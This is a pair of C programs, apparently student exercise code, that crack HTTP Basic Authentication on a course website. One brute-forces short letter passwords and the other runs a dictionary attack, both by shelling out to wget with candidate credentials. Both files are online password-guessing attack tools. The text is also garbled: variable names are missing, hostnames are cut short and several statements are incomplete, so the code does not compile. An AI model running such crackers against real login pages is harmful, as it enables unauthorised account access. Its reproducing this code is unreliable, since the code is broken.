#include<stdio.h>
#include<stdlib.h>
#include<string.h> 
#include <ctype.h>
#include <sys/time.h>


#define SUCCESS 0;
#define FAILURE 1;
#define SECONDS 1e9

int findPassword(char *);
int smallPass();
int capsPass();

int main()
{
	int foundP;	
	foundP=smallPass();
	foundP=capsPass();
	if(foundP == 2)
	{		
		return SUCCESS;
	}
	printf("\n PASSWORD NOT FOUND");
	return SUCCESS;
  
}

int smallPass()
{
	char [26] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};	
	char pass[3]="";	
	int i,j,k,l;
	int incr;
	int found;
	int , end, final;	
	
	 = time();
	for(j=0;j<3;j++)
	{
		incr=0;		
		for(i=0;i<=25;i++)
		{				
			if(j==0)
			{	
				incr++;
				pass[j]=[i];
				printf("\n Trial  %d  ---  %s ",incr,pass);
				found = findPassword(pass);
				if(found == 2)
				{	
					end = time();
					final = end-;
					printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
					printf("\nPASSWORD FOUND   --   %s",pass);				
					return 2;
				}
				
			}
			if(j==1)
			{				
				pass[j-1]=[i];
				for(k=0;k<=25;k++)
				{
					incr++;
					pass[j] = [k];
					printf("\n Trial  %d  ---  %s ",incr,pass);
					found = findPassword(pass);
					if(found == 2)
					{	
						end = time();
						final = end-;
						printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
						printf("\nPASSWORD FOUND   --   %s",pass);			
						return 2;
					}	
				}
			}
			if(j==2)
			{						
				pass[j-2]=[i];
				for(k=0;k<=25;k++)
				{
					pass[j-1] = [k];
					for(l=0;l<=25;l++)
					{
						incr++;
						pass[j] = [l];
						pass[j+1]='\0';
						printf("\n Trial  %d  ---  %s ",incr,pass);
						found = findPassword(pass);
						if(found == 2)
						{	
							end = time();
							final = end-;
							printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);					
							printf("\nPASSWORD FOUND   --   %s",pass);						
							return 2;
						}
					}	
				}
			}		
			
			
		}
	}
	
	return SUCCESS;	
}



int capsPass()
{
	char caps[26] ={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};	
	char pass[3]="";	
	int i,j,k,l;
	int incr;
	int found;
	int , end, final;	
	
	 = time();
	for(j=2;j<3;j++)
	{
		incr=0;
		for(i=0;i<=25;i++)
		{
				
			if(j==0)
			{	
				incr++;
				pass[j]=caps[i];
				printf("\n Trial  %d  ---  %s ",incr,pass);
				found = findPassword(pass);
				if(found == 2)
				{	
					end = time();
					final = end-;
					printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
					printf("\nPASSWORD FOUND   --   %s",pass);				
					return 2;
				}
				
			}
			if(j==1)
			{				
				pass[j-1]=caps[i];
				for(k=0;k<=25;k++)
				{
					incr++;
					pass[j] = caps[k];
					printf("\n Trial  %d  ---  %s ",incr,pass);
					found = findPassword(pass);
					if(found == 2)
					{	
						end = time();
						final = end-;
						printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
						printf("\nPASSWORD FOUND   --   %s",pass);			
						return 2;
					}	
				}
			}
			if(j==2)
			{				
				pass[j-2]=caps[i];
				for(k=0;k<=25;k++)
				{
					pass[j-1] = caps[k];
					for(l=0;l<=25;l++)
					{
						incr++;
						pass[j] = caps[l];
						pass[j+1]='\0';
						printf("\n Trial  %d  ---  %s ",incr,pass);
						found = findPassword(pass);
						if(found == 2)
						{	
							end = time();
							final = end-;
							printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
							printf("\nPASSWORD FOUND   --   %s",pass);						
							return 2;
						}
					}	
				}
			}		
			
			
		}
	}
	
	return SUCCESS;	
}


int findPassword(char *pass)
{
	char var[50]="";	
	char [50]="";
	strcpy(var,"wget --non-verbose --http-user= --http-passwd=");		
	strcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	strcat(var,pass);
	strcat(var,);
	if(system(var)==0)
	{		
		return 2;
	}	
		
	return SUCCESS;
}


	 





#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>

#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3

#define DICT_FILE "/usr/share/lib/dict/words"
#define TRUE 1
#define FALSE 0

typedef int (*CrackFuncPtr)(const char*, const char*);

typedef struct node* NodePtr;

typedef struct node
{
	char str[50];
	NodePtr next;	
} Node;

typedef struct list* ListPtr;

typedef struct list
{
	NodePtr head;
	int ctr;
} List;

NodePtr makeNode(const char *str);
void printList(const ListPtr l);
void loadFile(const char fname[], ListPtr l);
void add(ListPtr l, const char *str);
int crackHTTPAuth(const char *username, const char *passwd);
void runDictCrack(const ListPtr l, CrackFuncPtr func);
void freeWList(ListPtr wL);
int isValidPasswd(const char *str);

int ()
{
	List wordList;

	wordList.head = NULL;
	wordList.ctr = 0;

	loadFile(DICT_FILE, &wordList);

	runDictCrack(&wordList, crackHTTPAuth);

	freeWList(&wordList);
	return 0;
	
}



NodePtr makeNode(const char *str)
{
	NodePtr newNode = malloc(sizeof(Node));
	
	if (newNode)
	{
		strncpy(newNode->str, str, strlen(str)+1);
		newNode->next = NULL;	
		return newNode;
	}
	else
	{
		fprintf(stderr, "\nError: Unable  allocate %d btyes memory\n", sizeof(Node));
		return NULL;
	}

}



void add(ListPtr l, const char *str)
{
	NodePtr *iter;
	NodePtr n ;
	n = makeNode(str);

	if (n == NULL)
	{
		exit(1);
	}

	iter = &(l->head);

	if (l->head == NULL)
	{
		l->head = n;
	}
	else
	{
		while (*iter != NULL)
		{
			iter = &((*iter)->next);
		}

	}

	l->ctr = l->ctr+1;

	*iter = n;
	(l->ctr)++;
	
}



void printList(const ListPtr l)
{
	NodePtr iter = l->head;

	while (iter != NULL)
	{
		printf("\n%s", iter->str);
		iter = iter->next;
	}
}




void loadFile(const char fname[], ListPtr l)
{
	FILE *fp;
	char str[50];
	NodePtr p;
	int i=0;
	
	fp = fopen(fname, "r");

	if (fp)
	{
		printf("\nLoading dictionary file...\n");
		while(fgets(str, 50, fp) != NULL)
		{
			if (str[strlen(str)-1] == '\n')
			{
				str[strlen(str)-1] = '\0';
			}

			if (isValidPasswd(str))
			{
				add(l, str);
				i++;
			}
		}
		printf("total %d\n", i);
	}
	else
	{
		fprintf(stderr, "\nError: Cannot  dictionary file\n");
		exit(1);
	}

	fclose(fp);
}



int crackHTTPAuth(const char *username, const char *passwd)
{
	char cmd[3000] = "";
	struct stat fileInfo;
	int success = FALSE;
					
	sprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", 
		username, passwd, URL);

	system(cmd);	
	
	(void)stat("dictTemp", &fileInfo); 
	
	return fileInfo.st_size;
									
}



void runDictCrack(const ListPtr l, CrackFuncPtr func)
{
	NodePtr iter;

	iter = l->head;

	while (iter != NULL)
	{
		if(func(USERNAME, iter->str))
		{
			printf("\nPassword found: %s", iter->str);
			break;
		}
		else
		{
			iter = iter->next;
		}
		
	}
}



void freeWList(ListPtr wL)
{
	NodePtr iter, next;

	iter = wL->head;

	next = iter->next;

	while (iter != NULL)
	{
		next = iter->next;		
		(iter);
		iter = NULL;
		iter = next;
	}
}



int isValidPasswd(const char *str)
{
	int len = strlen(str);
	int i;
	
	if (len <= MAX_PASSWD_LEN)
	{
		for	(i=0; i<len; i++)
		{
			if (!isalpha(str[i]))
			{
				return FALSE;
			}
		}
		return TRUE;
	}
	else
	{
		return FALSE;
	}
}
